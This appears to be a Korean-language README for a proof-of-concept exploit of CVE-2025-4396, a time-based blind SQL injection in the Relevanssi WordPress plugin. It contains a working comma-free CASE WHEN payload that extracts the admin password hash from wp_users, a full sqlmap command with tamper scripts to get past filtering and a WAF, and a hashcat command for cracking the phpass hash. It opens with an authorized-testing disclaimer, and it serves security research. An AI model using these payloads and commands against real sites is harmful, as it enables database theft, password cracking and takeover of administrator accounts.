
CVE-2025-4396 - WordPress Relevanssi 시간 기반 블라인드 SQL 인젝션
면책 조항: 이 저장소는 승인된 침투 테스트, 보안 연구 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.
Relevanssi 4.24.4 WordPress 플러그인의 시간 기반 블라인드 SQL 인젝션 취약점에 대한 개념 증명 익스플로잇입니다. 이 구현은 다음과 같은 강화된 환경을 특별히 다룹니다:
SUBSTR(str, pos, len) 및 IF(cond, true, false) 구문을 깨뜨림SLEEP()를 실행하여 오탐(false positive)을 발생시킴특정 환경(예: DVWP 랩)에서는 표준 SQL 인젝션 페이로드가 두 가지 주요 이유로 실패합니다:
| 문제 | 영향 |
|---|---|
| 쉼표 제거 | SUBSTR(str, pos, len) 및 IF(cond, true, false) 구문을 깨뜨림 |
탐욕적 SLEEP() | MySQL이 전체 부울 표현식보다 먼저 sleep을 평가하여 오탐(false positive)을 유발함 |
두 문제 모두 맞춤형 우회 방법이 필요합니다 — 아래의 수동 및 자동 접근 방식에서 다룹니다.
asy.py)문자 단위의 정밀한 추출을 제공하는 비동기 Python 스크립트입니다. 자동화 도구의 오버헤드를 피하고 CASE WHEN 로직을 통해 쉼표 필터링을 우회합니다.
| 기능 | 구현 |
|---|---|
| 비동기 I/O | aiohttp를 사용한 비차단 요청 |
| 쉼표 없는 페이로드 | SUBSTR(str FROM pos FOR len) 구문 |
# 쉼표 없는 CASE WHEN 기반 시간 기반 페이로드
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
IF() 대신 CASE WHEN을 사용하는 이유는 무엇인가?
IF()는 쉼표를 사용하며 탐욕적 평가의 영향을 받습니다. CASE WHEN은 지연 평가를 수행하므로 SLEEP()는 조건이 실제로 TRUE일 때만 트리거됩니다.
SQLMap은 특정 tamper 스크립트와 플래그를 사용하여 이 환경에서 자동으로 탐지를 수행할 수 있습니다.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
--threads=1에 대한 참고 사항: 이는 안정적인 추출에 필수적입니다. 여러 스레드는 sleep 지연이 중첩되어 이진 탐색 타이밍을 손상시키고 왜곡된 출력을 생성합니다.
| 필드 | 값 |
|---|---|
| 대상 | WordPress wp_users 테이블 |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400**은 phpass 해시를 대상으로 함-a 0**은 rockyou.txt를 사용하는 일반 사전 공격임| 비탐욕적 로직 | CASE WHEN은 TRUE일 때만 SLEEP()가 실행되도록 보장 |
| 플래그 | 용도 |
|---|
--tamper=commalessmid,if2case | 페이로드를 쉼표 없는 SQL로 재작성하고 IF()를 CASE WHEN으로 대체 |
--tamper=between | > 비교를 BETWEEN으로 대체하여 추가 WAF 우회 |
--technique=T | 시간 기반 블라인드 인젝션으로만 제한 |
--no-cast | 쉼표를 유발하는 CAST() 래퍼를 방지 |
--threads=1 | 타이밍 정확도 보장 — 동시 요청은 sleep 지연을 중첩시킴 |
| 사용자 | admin (ID = 1) |
| 추출된 해시 | REDACTED |
| 알고리즘 | phpass (표준 WordPress 비밀번호 해싱) |